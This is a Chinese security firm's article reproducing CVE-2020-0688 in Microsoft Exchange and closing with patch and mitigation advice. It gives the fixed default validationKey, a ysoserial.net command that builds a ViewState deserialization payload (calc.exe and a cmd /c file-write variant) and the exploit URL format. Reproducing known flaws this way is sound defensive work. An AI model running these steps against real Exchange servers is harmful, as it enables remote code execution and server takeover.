网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2020-0688漏洞模拟、复现、分析和利用:Microsoft Exchange Server远程执行代码漏洞

文章来源:重庆网络安全 发布时间:2020-03-19 14:39:42 围观次数:
分享到:

摘要:Microsoft Exchange Server远程执行代码漏洞CVE-2020-0688。对该漏洞进行了模拟复现,分析漏洞的原因和利用。希望它可以帮助公司了解该漏洞的危害并及时进行修复以避免黑客入侵。

  Microsoft Exchange Server远程执行代码漏洞CVE-2020-0688。对该漏洞进行了模拟复现,分析漏洞的原因和利用。希望它可以帮助公司了解该漏洞的危害并及时进行修复以避免黑客入侵。


影响版本


  Microsoft Exchange Server 2010 Service Pack 3


  Microsoft Exchange Server 2013


  Microsoft Exchange Server 2016


  Microsoft Exchange Server 2019


漏洞原理


  此漏洞是由Exchange服务器在安装过程中未正确创建唯一的加密密钥引起的。


  特别是,与通常每次都会生成随机密钥的普通软件安装不同,所有Exchange Server在安装后在web.config文件中都具有相同的validationKey和decryptionKey。这些密钥用于确保ViewState的安全性。ViewStateASP.NET Web应用程序以序列化格式存储在客户端上的服务器端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel Web应用程序上执行任意.net代码。


  攻击者获取可以通过各种方式访问Exchange Control Panel(ECP)组件的用户帐户的密码时。攻击者可以在被攻击的交换机上执行任意代码,并直接获得服务器权限。


复现


  1.需要变量


  要利用此漏洞,我们需要四个参数:


 –validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)


 –validationalg = SHA1(默认,漏洞产生原因)


 –generator=B97B4E27(基本默认)


 –viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)

  在这四个变量中,前两个默认情况下是固定的。需要从经过身份验证的会话中收集viewstateuserkey和gene

rator的值。可以从ASP.NET的_SessionID cookie获取viewstateuserkey,并且可以在隐藏字段__VIEWSTATEGEN

ERATOR中找到generator。所有这些都可以通过浏览器中的工具轻松访问。


  获取viewstateuserkey和generator值


  正常登录后,访问/ecp/default.aspx页面。使用F12开发人员工具的“Network”选项,刷新页面,重新发送请求,并在登录时查找/ecp/default.aspx的原始响应。


  在“Headers”选项卡上找到ASP.NET_SessionId cookie:

blob.png

 在“Response”选项卡中搜索__VIEWSTATEGENERATOR以获取字段值:

blob.png

 如果找不到此字段,请不要慌,只需使用默认值B97B4E27。


  3.使用工具生成payload


  使用ysoserial.net工具生成反序列化的payload。


  生成payload命令:


  ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy

  4.构造攻击地址


  生成payload代码后,您需要对代码进行URL Encode编码以构造URL


  /ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

  将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。

  5.访问地址并成功执行


  访问构造的URL地址,服务器将弹出500错误,但攻击实际上是成功的。

blob.png

  登录服务器以查看该过程,并发现计算器已成功启动。

blob.png

其他问题


  1.关于版本


  网上有声称此漏洞对大版本的小版本有限制。其实并非如此,我的测试环境server 12 + exchange 2013。已测试15.0.516.32(2012年12月3日)和15.0.1497.2(2019年6月18日)(即update23)都具有漏洞,并且可以成功复制。 16,19尚未测试,应该相似。


  2 .__ VIEWSTATEGENERATOR


  在最初版本的时候一直没有这个参数(确实不重要,基本为默认值)。此问题的主要原因是系统修补程序KB2919355尚未更新。__VIEWSTATEGENERATOR字段将在更新后出现。


  3.无法创建文件


  大多数复现者只复现在启动计算器上,而无法创建文件。但是,在测试之后,发现问题出在ysoserial.exe的-c参数上。尽管在演示过程中可以使用-c“ echo OOOPS !!!> c:/Vuln_Server.txt”创建文件,但人们误认为-c cmd窗口正在运行,但实际上-c实际上是 “运行”,所以直接echo是不行的,您需要-c“cmd/c echo test> C:\ 1.txt”,该文件在测试后成功创建,如图所示:

blob.png

  4.URL Encode编码


  对生成的payload进行编码时,您需要注意仅对关键的特殊字符进行编码。如果已完全编码,则无法成功使用。


维修建议


  1.建议及时更新相关补丁

blob.png

  2.限制对Exchange Control Panel(ECP)组件页面的访问


  由于该漏洞需要使用Exchange Control Panel(ECP)组件,因此禁用对此组件的访问是一种更有效的紧急方法。如果条件允许,建议及时更新补丁。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:CVE-2020-0688 漏洞复现 漏洞分析 漏洞利用 Microsoft Exchange Server 远程执行代码漏洞 重庆网络安全公司

上一篇:CVE-2019-19781漏洞分析:Citrix ADC和Citrix Gateway远程执行代码(RCE)高风险漏洞,Citrix设备的入侵控制以及对内网资源访问获取
下一篇:BootHole CVE-2020-10713漏洞:位于GRUB2引导程序中,几乎所有Linux和Windows设备都受到影响

热门资讯

鼠标向下滚动